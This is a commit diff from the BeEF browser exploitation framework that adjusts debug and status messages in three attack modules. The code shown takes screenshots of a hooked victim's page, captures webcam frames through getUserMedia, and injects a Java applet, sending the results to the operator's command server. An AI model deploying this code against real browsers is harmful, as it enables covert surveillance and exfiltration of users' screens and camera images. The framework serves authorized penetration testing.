Add debug output to modules

This commit is contained in:
Brendan Coles
2017-04-23 03:58:44 +00:00
parent cc260598d3
commit c3069601e8
3 changed files with 8 additions and 14 deletions

View File

@@ -15,17 +15,17 @@ beef.execute(function() {
var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
});
beef.debug('[Spyder_Eye] html2canvas hasn\'t failed, that\'s something');
beef.debug('[Spyder Eye] Took snapshot successfully');
}
catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
beef.debug('[Spyder Eye] Obtaining snapshot failed: ' + e.message);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Obtaining snapshot failed: ' + e.message);
}
};
takeit = function() {
for(var i = 0; i < takes; i++) {
beef.debug('[Spyder_Eye] Taking ' + i + '. snapshot');
beef.debug('[Spyder Eye] Taking snapshot #' + i);
setTimeout(snap, delay * i);
}
};

View File

@@ -23,7 +23,7 @@ beef.execute(function() {
ctx.drawImage(vid_el,0,0);
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
} else {
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong');
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
}
}
@@ -36,15 +36,9 @@ beef.execute(function() {
setTimeout(cap,2000);
}, function(err) {
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed');
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
});
});

View File

@@ -38,7 +38,7 @@ beef.execute(function() {
// }, 100);
beef.debug('[Java Payload] Applet with id[' + applet_id + '] added to the DOM.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet with id[' + applet_id + '] added to the DOM.');